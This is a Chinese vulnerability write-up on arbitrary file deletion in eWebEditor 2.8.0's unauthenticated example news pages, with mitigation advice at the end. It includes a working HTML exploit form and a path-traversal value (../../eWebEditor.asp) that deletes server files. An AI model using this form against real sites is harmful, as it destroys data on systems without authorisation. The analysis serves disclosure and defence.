手机
当前位置:查字典教程网 >网络安全 >漏洞分析 >Ewebeditor2.8.0最终版删除任意文件漏洞分析与解决方法
Ewebeditor2.8.0最终版删除任意文件漏洞分析与解决方法
摘要:此漏洞存在于ExampleNewsSystem目录下的delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接进入,...

此漏洞存在于ExampleNewsSystem目录下的delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接进入,看这些代码:

' 把带"|"的字符串转为数组

Dim aSavePathFileName

aSavePathFileName = Split(sSavePathFileName, "|")

' 删除新闻相关的文件,从文件夹中

Dim i

For i = 0 To UBound(aSavePathFileName)

' 按路径文件名删除文件

Call DoDelFile(aSavePathFileName(i))

Next

而aSavePathFileName是前面从数据库取出来的:

sSavePathFileName = oRs("D_SavePathFileName")

看看D_SavePathFileName是怎么添加到数据库里的,在addsave.asp(modifysave.asp)里:

sSavePathFileName = GetSafeStr(Request.Form("d_savepathfilename"))

...

oRs("D_SavePathFileName") = sSavePathFileName

居然过滤了,是GetSafeStr函数,再看看这个函数,在Startup.asp里:

Function GetSafeStr(str)

GetSafeStr = Replace(Replace(Replace(Trim(str), "'", ""), Chr(34), ""), ";", "")

End Function

无 语,这不是过滤字符型注入的函数么?放这里什么用也没有啊!既然路径没有过滤,那就可以直接定义了,构造一个提交页面,其中 d_savepathfilename自己任意赋值(要删除多个文件,用|隔开即可)。试试../../eWebEditor.asp,提交后删除该新 闻,于是主目录下的eWebEditor.asp不见了!

下面给出利用的htm:

<HTML><HEAD><TITLE>eWebEditor删除文件 </TITLE>

<style>body,p,td,input {font-size:9pt}</style>

</HEAD><BODY><a href='list.asp'>新闻列表</a> | <a href='add.asp'>增加新闻</a>

<b>增加新闻</b>

<form action="http://127.0.0.1/editor/Example/NewsSystem/addsave.asp"

method="post" name="myform">

<input type=hidden name=d_originalfilename>

<input type=hidden name=d_savefilename>

<table cellspacing=3 align=center>

<tr><td>要删的文件(相对路径就可以了):</td>

<td><input type="text" name="d_savepathfilename" value="" size="90"></td>

</tr>

<tr><td>新闻标题(随便填):</td>

<td><input type="text" name="d_title" value="" size="90"></td>

</tr>

<tr><td>标题图片:</td>

<td><select name="d_picture" size=1><option value=''>无</option></select>

当编辑区有插入图片时,将自动填充此下拉框</td>

</tr>

<tr><td>新闻内容(随便填):</td>

<td><textarea name="d_content"></textarea></td>

</tr>

</table>

<input type=submit name=btnSubmit value=" 提 交 ">

<input type=reset name=btnReset value=" 重 填 ">

</form>

</BODY></HTML>

删除文件漏洞一般是配合其他漏洞使用的,比如目录遍历!

解决方法:删除测试文件目录,把默认的登录密码修改,或直接删除管理页面,因为,我们配置好,很少再改动的,最好把一些后台文件压缩后,删除。

【Ewebeditor2.8.0最终版删除任意文件漏洞分析与解决方法】相关文章:

Linux Kernel vmsplice_to_pipe本地权限提升漏洞

EMC DiskXtender MediaStor组件远程格式串处理漏洞

盛大游戏外包管理平台FCK列全盘目路分析与解决方案

boblog任意变量覆盖漏洞

Adobe Acrobat Reader acroread创建临时文件漏洞

IIS 7.0 网站漏洞利用及修复方法

野草weedcmsV5.2.1 任意删除文件漏洞

Velocity Parse()函数引发的本地包含漏洞及利用方法

Zblog最新跨站漏洞及利用代码

网站受到XSS跨站点脚本攻击的分析及解决方法

精品推荐
分类导航